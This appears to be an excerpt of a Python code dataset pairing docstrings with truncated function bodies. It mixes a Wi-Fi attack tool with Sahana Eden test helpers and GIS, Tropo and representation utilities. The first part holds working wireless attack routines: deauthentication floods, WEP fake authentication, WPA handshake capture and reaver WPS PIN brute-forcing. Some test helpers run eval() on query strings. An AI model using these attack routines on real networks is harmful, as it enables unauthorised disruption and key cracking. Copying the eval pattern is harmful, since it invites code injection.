desc
stringlengths
3
26.7k
decl
stringlengths
11
7.89k
bodies
stringlengths
8
553k
'Ensures required programs are installed.'
def initial_check(self):
airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng'] for air in airs: if program_exists(air): continue print (((R + ' [!]') + O) + (' required program not found: %s' % ((R + air) + W))) print ((((R + ' [!]') + O) + ' this...
'First attempts to anonymize the MAC if requested; MACs cannot be anonymized if they\'re already in monitor mode. Uses airmon-ng to put a device into Monitor Mode. Then uses the get_iface() method to retrieve the new interface\'s name. Sets global variable IFACE_TO_TAKE_DOWN as well. Returns the name of the interface i...
def enable_monitor_mode(self, iface):
mac_anonymize(iface) print (((GR + ' [+]') + W) + (' enabling monitor mode on %s...' % ((G + iface) + W))), stdout.flush() call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) print 'done' self.RUN_CONFIG.WIRELESS_IFACE = '' self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.ge...
'The program may have enabled monitor mode on a wireless interface. We want to disable this before we exit, so we will do that.'
def disable_monitor_mode(self):
if (self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == ''): return print (((GR + ' [+]') + W) + (' disabling monitor mode on %s...' % ((G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN) + W))), stdout.flush() call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN) pr...
'Attempts to solve "Unknown error 132" common with RTL8187 devices. Puts down interface, unloads/reloads driver module, then puts iface back up. Returns True if fix was attempted, False otherwise.'
def rtl8187_fix(self, iface):
proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) proc_airmon.wait() using_rtl8187 = False for line in proc_airmon.communicate()[0].split(): line = line.upper() if ((line.strip() == '') or line.startswith('INTERFACE')): continue if (line.find(iface.upper()) a...
'Get the wireless interface in monitor mode. Defaults to only device in monitor mode if found. Otherwise, enumerates list of possible wifi devices and asks user to select one to put into monitor mode (if multiple). Uses airmon-ng to put device in monitor mode if needed. Returns the name (string) of the interface chosen...
def get_iface(self):
if (not self.RUN_CONFIG.PRINTED_SCANNING): print (((GR + ' [+]') + W) + ' scanning for wireless devices...') self.RUN_CONFIG.PRINTED_SCANNING = True proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) iface = '' monitors = [] adapters = [] for line in proc.communica...
'Scans for access points. Asks user to select target(s). "channel" - the channel to scan on, 0 scans all channels. "iface" - the interface to scan on. must be a real interface. "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132" Returns list of selected targets and list of clients.'
def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
remove_airodump_files((self.RUN_CONFIG.temp + 'wifite')) command = ['airodump-ng', '-a', '--write-interval', '1', '-w', (self.RUN_CONFIG.temp + 'wifite')] if (channel != 0): command.append('-c') command.append(str(channel)) command.append(iface) proc = Popen(command, stdout=DN, stder...
'Parses given lines from airodump-ng CSV file. Returns tuple: List of targets and list of clients.'
def parse_csv(self, filename):
if (not os.path.exists(filename)): return ([], []) targets = [] clients = [] try: hit_clients = False with open(filename, 'rb') as csvfile: targetreader = csv.reader((line.replace('\x00', '') for line in csvfile), delimiter=',') for row in targetreader: ...
'Analyzes given capfile for handshakes using various programs. Prints results to console.'
def analyze_capfile(self, capfile):
wpa_attack = WPAAttack(None, None, None, None) if ((self.RUN_CONFIG.TARGET_ESSID == '') and (self.RUN_CONFIG.TARGET_BSSID == '')): print (((R + ' [!]') + O) + ' target ssid and bssid are required to check for handshakes') print (((R + ' [!]') + O) + ' pleas...
'Abstract method for initializing the WPA attack'
def RunAttack(self):
self.wpa_get_handshake()
'Abstract method for ending the WPA attack'
def EndAttack(self):
pass
'Opens an airodump capture on the target, dumping to a file. During the capture, sends deauthentication packets to the target both as general deauthentication packets and specific packets aimed at connected clients. Waits until a handshake is captured. "iface" - interface to capture on "target" - Target object conta...
def wpa_get_handshake(self):
if (self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0): self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = (-1) save_as = (((((self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) + re.sub('[^a-zA-Z0-9]', '', self.target.ssid)) + '_') + self.target.bssid.replace(':', '-')) + '.cap') save_index = 0 while os.path.exists(save_as):...
'Uses TShark to check for a handshake. Returns "True" if handshake is found, false otherwise.'
def has_handshake_tshark(self, target, capfile):
if program_exists('tshark'): cmd = ['tshark', '-r', capfile, '-R', 'eapol', '-2', '-n'] proc = Popen(cmd, stdout=PIPE, stderr=DN) proc.wait() lines = proc.communicate()[0].split('\n') clients = [] for line in lines: if ((line.find('appears to have ...
'Uses cowpatty to check for a handshake. Returns "True" if handshake is found, false otherwise.'
def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
if (not program_exists('cowpatty')): return False cmd = ['cowpatty', '-r', capfile, '-s', target.ssid, '-c'] if nonstrict: cmd.append('-2') proc = Popen(cmd, stdout=PIPE, stderr=DN) proc.wait() response = proc.communicate()[0] if (response.find('incomplete four-way hand...
'Uses pyrit to check for a handshake. Returns "True" if handshake is found, false otherwise.'
def has_handshake_pyrit(self, target, capfile):
if (not program_exists('pyrit')): return False cmd = ['pyrit', '-r', capfile, 'analyze'] proc = Popen(cmd, stdout=PIPE, stderr=DN) proc.wait() hit_essid = False for line in proc.communicate()[0].split('\n'): if ((line == '') or (line == None)): continue if (li...
'Uses aircrack-ng to check for handshake. Returns True if found, False otherwise.'
def has_handshake_aircrack(self, target, capfile):
if (not program_exists('aircrack-ng')): return False crack = ((('echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid) + ' ') + capfile) proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True) proc_crack.wait() txt = proc_crack.communicate()[0] return (...
'Checks if .cap file contains a handshake. Returns True if handshake is found, False otherwise.'
def has_handshake(self, target, capfile):
valid_handshake = True tried = False if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK: tried = True valid_handshake = self.has_handshake_tshark(target, capfile) if (valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY): tried = True valid_handshake = self.has_handshake_cowpa...
'Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file File in location \'capfile\' is overwritten!'
def strip_handshake(self, capfile):
output_file = capfile if program_exists('pyrit'): cmd = ['pyrit', '-r', capfile, '-o', (capfile + '.temp'), 'stripLive'] call(cmd, stdout=DN, stderr=DN) rename((capfile + '.temp'), output_file) elif program_exists('tshark'): cmd = ['tshark', '-r', capfile, '-R', 'eapol || ...
'Abstract method for dispatching the WEP crack'
def RunAttack(self):
self.attack_wep()
'Abstract method for ending the WEP attack'
def EndAttack(self):
pass
'Attacks WEP-encrypted network. Returns True if key was successfully found, False otherwise.'
def attack_wep(self):
if (self.RUN_CONFIG.WEP_TIMEOUT <= 0): self.RUN_CONFIG.WEP_TIMEOUT = (-1) total_attacks = 6 if (not self.RUN_CONFIG.WEP_ARP_REPLAY): total_attacks -= 1 if (not self.RUN_CONFIG.WEP_CHOPCHOP): total_attacks -= 1 if (not self.RUN_CONFIG.WEP_FRAGMENT): total_attacks -= 1 ...
'Attempt to (falsely) authenticate with a WEP access point. Gives 3 seconds to make each 5 authentication attempts. Returns True if authentication was successful, False otherwise.'
def wep_fake_auth(self, iface, target, time_to_display):
max_wait = 3 max_attempts = 5 for fa_index in xrange(1, (max_attempts + 1)): print '\r ...
'Returns aireplay-ng command line arguments based on parameters.'
def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
cmd = '' if (attack_num == 0): cmd = ['aireplay-ng', '--ignore-negative-one', '--arpreplay', '-b', target.bssid, '-x', str(self.RUN_CONFIG.WEP_PPS)] if (client_mac != ''): cmd.append('-h') cmd.append(client_mac) elif (len(clients) > 0): cmd.append('-h'...
'Sends deauth packets to broadcast and every client.'
def wep_send_deauths(self, iface, target, clients):
cmd = ['aireplay-ng', '--ignore-negative-one', '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), '-a', target.bssid, iface] call(cmd, stdout=DN, stderr=DN) for client in clients: cmd = ['aireplay-ng', '--ignore-negative-one', '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), '-a', target.bssid, '-...
'Abstract method for initializing the WPS attack'
def RunAttack(self):
if self.is_pixie_supported(): if self.attack_wps_pixie(): return True if self.RUN_CONFIG.PIXIE: return False return self.attack_wps()
'Abstract method for ending the WPS attack'
def EndAttack(self):
pass
'Checks if current version of Reaver supports the pixie-dust attack'
def is_pixie_supported(self):
p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE) stdout = p.communicate()[1] for line in stdout.split('\n'): if ('--pixie-dust' in line): return True return False
'Attempts "Pixie WPS" attack which certain vendors susceptible to.'
def attack_wps_pixie(self):
print (((GR + ' [0:00:00]') + W) + (' initializing %sWPS Pixie attack%s on %s' % (G, W, ((((((((G + self.target.ssid) + W) + ' (') + G) + self.target.bssid) + W) + ')') + W)))) cmd = ['reaver', '-i', self.iface, '-b', self.target.bssid, '-o', (self.RUN_CONFIG.temp + 'out.out'), '-c', sel...
'Mounts attack against target on iface. Uses "reaver" to attempt to brute force the PIN. Once PIN is found, PSK can be recovered. PSK is displayed to user and added to WPS_FINDINGS'
def attack_wps(self):
print (((GR + ' [0:00:00]') + W) + (' initializing %sWPS PIN attack%s on %s' % (G, W, ((((((((G + self.target.ssid) + W) + ' (') + G) + self.target.bssid) + W) + ')') + W)))) cmd = ['reaver', '-i', self.iface, '-b', self.target.bssid, '-o', (self.RUN_CONFIG.temp + 'out.out'), '--session'...
'Executes the query as it is without any processing done on it and returns the output Usage: ${output}= Execute Query As It Is db(s3db.auth_user.id > 0).select("email").first().as_dict() Log ${output} {\'_extra\': {\'email\': \'admin@example.com\'}}'
@staticmethod def query(statement):
db = current.db s3db = current.s3db logger.info(('Executing %s' % statement)) output = eval(statement) db.commit() return output
'Returns the count of the number of the query given Usage: ${output} = Row Count s3db.org_site.id > 0 Log to console ${output} 52'
@staticmethod def row_count(statement):
db = current.db s3db = current.s3db cmd = ('db(%s).count()' % statement) logger.info(('Executing %s' % cmd)) count_value = eval(cmd) return count_value
'Returns the count of the number of entries of a table Usage: ${output} = Count Entries Of Table org_site Log to console ${output} 50'
@staticmethod def count_entries_of_table(table_name):
db = current.db s3db = current.s3db logger.info(('Counting the entries in table %s' % table_name)) table = s3db[table_name] count_value = db((table.deleted != True)).count() return count_value
'Truncates the table passed as argument If the database is in use, it will throw an OperationalError saying database is locked Usage: Truncate table gis_layer_config'
@staticmethod def truncate_table(table_name):
db = current.db s3db = current.s3db logger.info(('Truncating table %s' % table_name)) table = s3db[table_name] table.truncate() db.commit()
'Executes the sqlString as SQL commands. SQL commands are expected to be delimited by a semi-colon (\';\'). Usage: ${output}= Execute sql string select site_id from org_site where name = "Station 13"; Log to console ${output} {\'site_id\': 50}]'
@staticmethod def execute_sql_string(sql_string):
db = current.db s3db = current.s3db logger.info(('Executing query %s' % sql_string)) output = db.executesql(sql_string, as_dict=True) db.commit() return output
'It takes the where statement and returns the first row as a dict The various items present in the dict can then be used Usage: ${output}= Query and return the first row as dict where s3db.pr_address.id == 13 Log to console ${output} \'{deleted_rb\': None, \'mci\': 2L, \'realm_entity\': 44L, \'location_id\': ... } <...
@staticmethod def query_and_return_the_first_row_where(statement):
db = current.db s3db = current.s3db cmd = ('db(%s).select( limitby=(0,1) ).first()' % statement) logger.info(('Executing query %s' % cmd)) output = eval(cmd) return output
'Checks if a where statement given exists If there is no output, it will raise an assertion error Usage: Check if exists s3db.auth_user.id > 100 False Check if exists s3db.auth_user.id > 10 True'
def check_if_exists(self, statement):
output = self.query_and_return_the_first_row_where(statement) if (not output): raise AssertionError(("Expected to have have at least one row from '%s' but got 0 rows." % statement))
'Checks if a where statement given does not exist If there is no output, it will raise an assertion error Usage: Check if exists s3db.auth_user.id < 100 True Check if exists s3db.auth_user.id > 10 False'
def check_if_not_exists(self, statement):
output = self.query_and_return_the_first_row_where(statement) if output: raise AssertionError(("Expected to have no row from '%s' but got at least one row." % statement))
'Check if any rows are returned from the submitted where statement. If there are, then this will throw an AssertionError. Usage: Row count is zero (s3db.pr_contact.value == "af_editor@example.com") ... & (s3db.pr_contact.contact_method == "EMAIL") False'
def row_count_is_zero(self, statement):
count = self.row_count(statement) if (count != 0): raise AssertionError(('Expected the count to be zero from %s but it was %d instead' % (statement, count)))
'Check if the number rows returned from the submitted where statement are x. If there are not, then this will throw an AssertionError. Usage: Row count is equals x (s3db.asset_asset.id > 25) 16 True'
def row_count_equals_x(self, statement, x):
count = self.row_count(statement) if (count != int(x)): raise AssertionError(('Expected the count to be %s from %s but it was %d instead' % (x, statement, count)))
'Check if the number rows returned from the submitted where statement are greater x. If there are not, then this will throw an AssertionError. Usage: Row count is greater x (s3db.asset_asset.id > 25) 12 False'
def row_count_greater_x(self, statement, x):
count = self.row_count(statement) if (count < int(x)): raise AssertionError(('Expected the count to be greater than %s from %s but it was %d instead' % (x, statement, count)))
'Check if the number rows returned from the submitted where statement are less x. If there are not, then this will throw an AssertionError. Usage: Row count is greater x (s3db.asset_asset.id > 25) 12 False'
def row_count_less_x(self, statement, x):
count = self.row_count(statement) if (count > int(x)): raise AssertionError(('Expected the count to be less than %s from %s but it was %d instead' % (x, statement, count)))
'Checks if the table exits or not Usage: Table should exist auth_user_options True'
def table_should_exist(self, table_name):
table = current.s3db[table_name]
'Initialize the class variables'
def __init__(self, server, appname, admin_email, admin_password):
logger.debug(('Arguments %s %s' % (server, appname)), html=True) self.base_url = ('http://%s/%s' % (server, appname)) self.admin_email = admin_email self.admin_password = admin_password
'Returns the deployment settings asked in a dict where key is the asked setting. It makes a get request to eden/default/edentest and uses s3cfg to get the settings. It uses env. proxy settings'
def get_deployment_settings(self, *asked):
logger.info(('base_url %s' % self.base_url)) request_url = ('%s/default/get_settings/deployment_settings' % self.base_url) for key in asked: request_url = ('%s/%s' % (request_url, key)) logger.info(('request_url %s' % request_url)) b64_auth_string = b64encode(('%s:%s' % (self.admin_ema...
'This function specify the fields that are needed for the select query'
@staticmethod def fields(db):
fields = [] fields.append(db['org_organisation'].ALL) return fields
'This function specify the query for the select query'
@staticmethod def query(db):
query = (db.org_organisation.organisation_type_id == db.org_organisation_type.id) return query
'@param row : The row which is generated as a result of the select query done The new values are returned which are are generarated for each row .'
@staticmethod def mapping(row):
return row['id']
'Populate Shelter Registry with Test Data to make each test case separable Intercept WSGI calls to do in-process testing'
def setUp(self, db):
wsgi_intercept.add_wsgi_intercept(self.HOST, self.PORT, create_fn) return
'Unit Test all functions within Shelter Registry'
def runTest(self, db):
self.runTestLogin() self.runTestShelter() return
'Create test Data for Shelter Registry'
def setUpShelter(self, db):
resource = 'shelter' table = ((module + '_') + resource) if (not len(db().select(db[table].ALL))): db[table].insert(name='Test Shelter', description='Just a test', location_id=1, person_id=1, address='52 Test Street', capacity=100) return
'Basic map with true code paths turned on'
def test_true_code_paths(self):
current.session.s3.debug = False self.check(scripts=('/%(application_name)s/static/test_print_script_url/info.json?var=printCapabilities', '/%(application_name)s/static/scripts/gis/MGRS.min.js'))
'Get the value of the previously POSTed Tropo action.'
def getValue(self):
actions = self._actions if (type(actions) is list): logging.info('Actions is a list') dict = actions[0] else: logging.info('Actions is a dict') dict = actions logging.info(('Actions is: %s' % actions)) return dict['interpretation']
'Sends a prompt to the user and optionally waits for a response. Arguments: "choices" is a Choices object See https://www.tropo.com/docs/webapi/ask.htm'
def ask(self, choices, **options):
self._steps.append(Ask(choices, **options).obj)
'Places a call or sends an an IM, Twitter, or SMS message. To start a call, use the Session API to tell Tropo to launch your code. Arguments: to is a String. Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/call.htm'
def call(self, to, **options):
self._steps.append(Call(to, **options).obj)
'This object allows multiple lines in separate sessions to be conferenced together so that the parties on each line can talk to each other simultaneously. This is a voice channel only feature. Argument: "id" is a String Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/co...
def conference(self, id, **options):
self._steps.append(Conference(id, **options).obj)
'This method instructs Tropo to "hang-up" or disconnect the session associated with the current session. See https://www.tropo.com/docs/webapi/hangup.htm'
def hangup(self):
self._steps.append(Hangup().obj)
'A shortcut method to create a session, say something, and hang up, all in one step. This is particularly useful for sending out a quick SMS or IM. Argument: "say_obj" is a Say object Argument: "to" is a String Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/message.htm...
def message(self, say_obj, to, **options):
if isinstance(say_obj, basestring): say = Say(say_obj).obj else: say = say_obj self._steps.append(Message(say, to, **options).obj)
'Adds an event callback so that your application may be notified when a particular event occurs. Possible events are: "continue", "error", "incomplete" and "hangup". Argument: event is an event Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/on.htm'
def on(self, event, **options):
self._steps.append(On(event, **options).obj)
'Plays a prompt (audio file or text to speech) and optionally waits for a response from the caller that is recorded. Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/record.htm'
def record(self, **options):
self._steps.append(Record(**options).obj)
'Forwards an incoming call to another destination / phone number before answering it. Argument: id is a String Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/redirect.htm'
def redirect(self, id, **options):
self._steps.append(Redirect(id, **options).obj)
'Allows Tropo applications to reject incoming sessions before they are answered. See https://www.tropo.com/docs/webapi/reject.htm'
def reject(self):
self._steps.append(Reject().obj)
'When the current session is a voice channel this key will either play a message or an audio file from a URL. In the case of an text channel it will send the text back to the user via i nstant messaging or SMS. Argument: message is a string Argument: **options is a set of optional keyword arguments. See https://www.tro...
def say(self, message, **options):
self._steps.append(Say(message, **options).obj)
'Allows Tropo applications to begin recording the current session. Argument: url is a string Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/startrecording.htm'
def startRecording(self, url, **options):
self._steps.append(StartRecording(url, **options).obj)
'Stops a previously started recording. See https://www.tropo.com/docs/webapi/stoprecording.htm'
def stopRecording(self):
self._steps.append(StopRecording().obj)
'Transfers an already answered call to another destination / phone number. Argument: to is a string Argument: **options is a set of optional keyword arguments. See https://www.tropo.com/docs/webapi/transfer.htm'
def transfer(self, to, **options):
self._steps.append(Transfer(to, **options).obj)
'Render a Tropo object into a Json string.'
def RenderJson(self, pretty=False):
steps = self._steps topdict = {} topdict['tropo'] = steps logging.info(('topdict: %s' % topdict)) if pretty: try: json = jsonlib.dumps(topdict, indent=4, sort_keys=False) except TypeError: json = jsonlib.dumps(topdict) else: json = jsonlib.dumps...
'Constructor @param lookup: the name of the lookup table @param key: the field name of the primary key of the lookup table, a field name @param fields: the fields to extract from the lookup table, a list of field names @param labels: string template or callable to represent rows from the lookup table, callables must re...
def __init__(self, lookup=None, key=None, fields=None, labels=None, options=None, translate=False, linkto=None, show_link=False, multiple=False, hierarchy=False, default=None, none=None, field_sep=' '):
self.tablename = lookup self.table = None self.key = key self.fields = fields self.labels = labels self.options = options self.list_type = multiple self.hierarchy = hierarchy self.translate = translate self.linkto = linkto self.show_link = show_link self.default = default...
'Lookup all rows referenced by values. (in foreign key representations) @param key: the key Field @param values: the values @param fields: the fields to retrieve'
def _lookup_rows(self, key, values, fields=[]):
fields.append(key) if (len(values) == 1): query = (key == values[0]) else: query = key.belongs(values) rows = current.db(query).select(*fields) self.queries += 1 return rows
'Represent the referenced row. (in foreign key representations) @param row: the row @return: the representation of the Row, or None if there is an error in the Row'
def represent_row(self, row, prefix=None):
labels = self.labels translated = False if self.slabels: v = (labels % row) elif self.clabels: v = labels(row) else: values = [row[f] for f in self.fields if (row[f] not in (None, ''))] if (len(values) > 1): if self.translate: T = current.T...
'Represent a (key, value) as hypertext link. - Typically, k is a foreign key value, and v the representation of the referenced record, and the link shall open a read view of the referenced record. - In the base class, the linkto-parameter expects a URL (as string) with "[id]" as placeholder for the key. @param k: the k...
def link(self, k, v, row=None):
if self.linkto: k = s3_str(k) return A(v, _href=self.linkto.replace('[id]', k).replace('%5Bid%5D', k)) else: return v
'Represent a single value (standard entry point). @param value: the value @param row: the referenced row (if value is a foreign key) @param show_link: render the representation as link'
def __call__(self, value, row=None, show_link=True):
self._setup() show_link = (show_link and self.show_link) if self.list_type: return self.multiple(value, rows=row, list_type=False, show_link=show_link) if (row and self.table): value = row[self.key] if value: rows = ([row] if (row is not None) else None) items = self....
'Represent multiple values as a comma-separated list. @param values: list of values @param rows: the referenced rows (if values are foreign keys) @param show_link: render each representation as link'
def multiple(self, values, rows=None, list_type=True, show_link=True):
self._setup() show_link = (show_link and self.show_link) if (rows and self.table): key = self.key values = [row[key] for row in rows] elif (self.list_type and list_type): try: hasnone = (None in values) if hasnone: values = [i for i in valu...
'Represent multiple values as dict {value: representation} @param values: list of values @param rows: the rows @param show_link: render each representation as link @return: a dict {value: representation} @note: for list-types, the dict keys will be the individual values within all lists - and not the lists (simply beca...
def bulk(self, values, rows=None, list_type=True, show_link=True):
self._setup() show_link = (show_link and self.show_link) if (rows and self.table): key = self.key _rows = self.rows values = set() add_value = values.add for row in rows: value = row[key] _rows[value] = row add_value(value) ...
'Helper method to render list-type representations from bulk()-results. @param value: the list @param labels: the labels as returned from bulk() @param show_link: render references as links, should be the same as used with bulk()'
def render_list(self, value, labels, show_link=True):
show_link = (show_link and self.show_link) if show_link: labels = [((labels[v], ', ') if (v in labels) else (self.default, ', ')) for v in value] if labels: return TAG[''](list(chain.from_iterable(labels))[:(-1)]) else: return '' else: return ', ...
'Lazy initialization of defaults'
def _setup(self):
if self.setup: return self.queries = 0 messages = current.messages if (self.default is None): self.default = s3_str(messages.UNKNOWN_OPT) if (self.none is None): self.none = messages['NONE'] if (self.options is not None): if self.translate: T = current...
'Lazy lookup values. @param values: list of values to lookup @param rows: rows referenced by values (if values are foreign keys) optional'
def _lookup(self, values, rows=None):
theset = self.theset keys = {} items = {} lookup = {} table = self.table for _v in values: v = _v if ((v is not None) and table and isinstance(v, basestring)): try: v = int(_v) except ValueError: pass keys[v] = _v ...
'Recursive helper method to represent value as path in a hierarchy. @param value: the value @param row: the row containing the value @param rows: all rows from _loopup as dict @param hierarchy: the S3Hierarchy instance'
def _represent_path(self, value, row, rows=None, hierarchy=None):
theset = self.theset if (value in theset): return theset[value] prefix = None parent = hierarchy.parent(value) if parent: if (parent in theset): prefix = theset[parent] elif (parent in rows): prefix = self._represent_path(parent, rows[parent], rows=row...
'Constructor @param value: the value @param renderer: the renderer (S3Represent instance)'
def __init__(self, value, renderer):
self.value = value self.renderer = renderer self.multiple = False renderer.lazy.append(value)
'Represent as string'
def represent(self):
value = self.value renderer = self.renderer if renderer.lazy: labels = renderer.bulk(renderer.lazy, show_link=False) renderer.lazy = [] else: labels = renderer.theset if renderer.list_type: if self.multiple: return renderer.multiple(value, show_link=False)...
'Render as HTML'
def render(self):
value = self.value renderer = self.renderer if renderer.lazy: labels = renderer.bulk(renderer.lazy) renderer.lazy = [] else: labels = renderer.theset if renderer.list_type: if (not value): value = [] if self.multiple: if (len(value) and...
'Render as text or attribute of an XML element @param element: the element @param attributes: the attributes dict of the element @param name: the attribute name'
def render_node(self, element, attributes, name):
text = s3_unicode(self.represent()) if (text and ('<' in text)): try: stripper = S3MarkupStripper() stripper.feed(text) text = stripper.stripped() except: pass if (text is not None): if (element is not None): element.text = ...
'Download a KML file: - unzip it if-required - follow NetworkLinks recursively if-required Save the file to the /uploads folder Designed to be called asynchronously using: current.s3task.async("download_kml", [record_id, filename]) @param record_id: id of the record in db.gis_layer_kml @param filename: name to save the...
def download_kml(self, record_id, filename, session_id_name, session_id):
table = current.s3db.gis_layer_kml record = current.db((table.id == record_id)).select(table.url, limitby=(0, 1)).first() url = record.url filepath = os.path.join(global_settings.applications_parent, current.request.folder, 'uploads', 'gis_cache', filename) warning = self.fetch_kml(url, filepath, se...
'Fetch a KML file: - unzip it if-required - follow NetworkLinks recursively if-required Returns a file object Designed as a helper function for download_kml()'
def fetch_kml(self, url, filepath, session_id_name, session_id):
from gluon.tools import fetch response = current.response public_url = current.deployment_settings.get_base_public_url() warning = '' local = False if (not url.startswith('http')): local = True url = ('%s%s' % (public_url, url)) elif ((len(url) > len(public_url)) and (url[:le...
'Geocode an Address - used by S3LocationSelector settings.get_gis_geocode_imported_addresses @param address: street address @param postcode: postcode @param Lx_ids: list of ancestor IDs @param geocoder: which geocoder service to use'
@staticmethod def geocode(address, postcode=None, Lx_ids=None, geocoder='google'):
from geopy import geocoders if ((geocoder == 'google') or (geocoder is True)): g = geocoders.GoogleV3() if current.gis.google_geocode_retry: import time from geopy.geocoders.googlev3 import GTooManyQueriesError def geocode_(names, g=g, **kwargs): ...
'Reverse Geocode a Lat/Lon - used by S3LocationSelector'
@staticmethod def geocode_r(lat, lon):
if ((not lat) or (not lon)): return 'Need Lat & Lon' results = '' try: lat = float(lat) except ValueError: results = 'Latitude is Invalid!' try: lon = float(lon) except ValueError: results += 'Longitude is Invalid!' if (not results...
'Given a Start & End set of Coordinates, return a Bearing Formula from: http://www.movable-type.co.uk/scripts/latlong.html'
@staticmethod def get_bearing(lat_start, lon_start, lat_end, lon_end):
import math cos = math.cos sin = math.sin delta_lon = (lon_start - lon_end) bearing = math.atan2((sin(delta_lon) * cos(lat_end)), ((cos(lat_start) * sin(lat_end)) - ((sin(lat_start) * cos(lat_end)) * cos(delta_lon)))) bearing = ((bearing + 360) % 360) return bearing
'Calculate the Bounds of a list of Point Features, suitable for setting map bounds. If no features are supplied, the current map configuration bounds will be returned. e.g. When a map is displayed that focuses on a collection of points, the map is zoomed to show just the region bounding the points. e.g. To use in GPX e...
def get_bounds(self, features=None, parent=None, bbox_min_size=None, bbox_inset=None):
if features: lon_min = 180 lat_min = 90 lon_max = (-180) lat_max = (-90) try: lon = features[0].lon simple = True except (AttributeError, KeyError): simple = False for feature in features: try: if...
'Get bounds from the specified (parent) location and its ancestors. This is used to validate lat, lon, and bounds for child locations. Caution: This calls update_location_tree if the parent bounds are not set. During prepopulate, update_location_tree is disabled, so unless the parent contains its own bounds (i.e. they ...
def get_parent_bounds(self, parent=None):
table = current.s3db.gis_location db = current.db parent = db((table.id == parent)).select(table.id, table.level, table.name, table.parent, table.path, table.lon, table.lat, table.lon_min, table.lat_min, table.lon_max, table.lat_max).first() if ((parent.lon_min is None) or (parent.lon_max is None) or (p...
'Helper that gets parent and path for a location.'
@staticmethod def _lookup_parent_path(feature_id):
db = current.db table = db.gis_location feature = db((table.id == feature_id)).select(table.id, table.name, table.level, table.path, table.parent, limitby=(0, 1)).first() return feature
'Return a list of IDs of all GIS Features which are children of the requested feature, using Materialized path for retrieving the children This has been chosen over Modified Preorder Tree Traversal for greater efficiency: http://eden.sahanafoundation.org/wiki/HaitiGISToDo#HierarchicalTrees @param: level - optionally fi...
@staticmethod def get_children(id, level=None):
db = current.db try: table = db.gis_location except: table = current.s3db.gis_location query = (table.deleted == False) if level: query &= (table.level == level) term = str(id) path = table.path query &= (path.like((term + '/%')) | path.like((('%/' + term) + '/%')...
'Returns a list containing ancestors of the requested feature. If the caller already has the location row, including path and parent fields, they can supply it via feature to avoid a db lookup. If ids_only is false, each element in the list is a gluon.sql.Row containing the gis_location record of an ancestor of the spe...
@staticmethod def get_parents(feature_id, feature=None, ids_only=False):
if ((not feature) or ('path' not in feature) or ('parent' not in feature)): feature = GIS._lookup_parent_path(feature_id) if (feature and (feature.path or feature.parent)): if feature.path: path = feature.path else: path = GIS.update_location_tree(feature) ...
'Adds ancestor of requested feature for each level to supplied dict. If the caller already has the location row, including path and parent fields, they can supply it via feature to avoid a db lookup. If a dict is not supplied in results, one is created. The results dict is returned in either case. If ids=True and names...
def get_parent_per_level(self, results, feature_id, feature=None, ids=True, names=True):
if (not results): results = {} _id = feature_id if ((not feature_id) and (not feature)): return results if ((not feature_id) and ('path' not in feature) and ('parent' in feature)): feature = self._lookup_parent_path(feature.parent) _id = feature.id elif ((not feature)...
'Re-set table options that depend on location_hierarchy Only update tables which are already defined'
def update_table_hierarchy_labels(self, tablename=None):
levels = ('L1', 'L2', 'L3', 'L4', 'L5') labels = self.get_location_hierarchy() db = current.db if (tablename and (tablename in db)): table = db[tablename] if (tablename == 'gis_location'): labels['L0'] = current.messages.COUNTRY table.level.requires = IS_EMPTY_OR(...
'Reads the specified GIS config from the DB, caches it in response. Passing in a false or non-existent id will cause the personal config, if any, to be used, else the site config (uuid SITE_DEFAULT), else their fallback values defined in this class. If force_update_cache is true, the config will be read and cached in r...
@staticmethod def set_config(config_id=None, force_update_cache=False):
_gis = current.response.s3.gis if (config_id and (not force_update_cache) and _gis.config and (_gis.config.id == config_id)): return db = current.db s3db = current.s3db ctable = s3db.gis_config mtable = s3db.gis_marker ptable = s3db.gis_projection stable = s3db.gis_style fiel...
'Returns the current GIS config structure. @ToDo: Config() class'
@staticmethod def get_config():
_gis = current.response.s3.gis if (not _gis.config): if current.session.s3.gis_config_id: GIS.set_config(current.session.s3.gis_config_id) else: GIS.set_config() return _gis.config
'Returns the location hierarchy and it\'s labels @param: level - a specific level for which to lookup the label @param: location - the location_id to lookup the location for currently only the actual location is supported @ToDo: Do a search of parents to allow this lookup for any location'
def get_location_hierarchy(self, level=None, location=None):
_levels = self.hierarchy_levels _location = location if ((not location) and _levels): if level: if (level in _levels): return _levels[level] else: return level else: return _levels COUNTRY = current.messages.COUNTRY ...
'Returns the strict hierarchy value from the current config. @param: location - the location_id of the record to check'
def get_strict_hierarchy(self, location=None):
s3db = current.s3db table = s3db.gis_hierarchy query = (table.uuid == 'SITE_DEFAULT') if location: query = (query | (table.location_id == self.get_parent_country(location))) rows = current.db(query).select(table.uuid, table.strict_hierarchy, cache=s3db.cache) if (len(rows) > 1): ...
